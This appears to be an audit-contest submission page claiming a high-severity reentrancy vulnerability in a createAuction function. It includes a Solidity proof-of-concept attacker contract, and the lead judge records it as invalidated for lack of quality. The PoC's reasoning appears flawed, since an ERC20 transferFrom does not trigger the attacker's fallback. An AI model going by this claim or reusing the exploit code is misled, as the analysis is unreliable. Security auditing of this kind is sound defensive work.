DeFiFoundry
20,000 USDC
View results
Submission Details
Severity: high
Invalid

Potential Reentrancy Vulnerability in createAuction Function

Summary

The createAuction function could be exploited through reentrancy, particularly since it calls an external transferFrom function after deploying the FjordAuction contract.

Vulnerability Details

After deploying the FjordAuction contract, the function calls the transferFrom method of the auctionToken contract. This external call could potentially be exploited in a reentrancy attack, where an attacker reenters the function before the state changes are completed.

Impact

  • Reentrancy Attack: An attacker could exploit this vulnerability to reenter the function and manipulate the auction process, potentially leading to loss of funds or other unexpected behavior.

##POC

contract ReentrancyAttack {
AuctionFactory public auctionFactory;
IERC20 public auctionToken;
uint256 public totalTokens;
uint256 public biddingTime;
bytes32 public salt;
constructor(
AuctionFactory _auctionFactory,
IERC20 _auctionToken,
uint256 _totalTokens,
uint256 _biddingTime,
bytes32 _salt
) {
auctionFactory = _auctionFactory;
auctionToken = _auctionToken;
totalTokens = _totalTokens;
biddingTime = _biddingTime;
salt = _salt;
}
function attack() external {
auctionFactory.createAuction(
address(auctionToken),
biddingTime,
totalTokens,
salt
);
}
// The fallback function is triggered when the contract receives ether or when reentrancy occurs.
fallback() external {
// Reenter the createAuction function to exploit reentrancy
if (auctionToken.balanceOf(address(this)) == 0) {
auctionFactory.createAuction(
address(auctionToken),
biddingTime,
totalTokens,
salt
);
}
}
}

Tools Used

  • Manual Code Review

Recommendations

  • Use Reentrancy Guard: Implement a reentrancy guard to prevent reentrancy attacks. This can be done by using OpenZeppelin’s ReentrancyGuard or implementing a custom solution.

Updates

Lead Judging Commences

inallhonesty Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Lack of quality

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.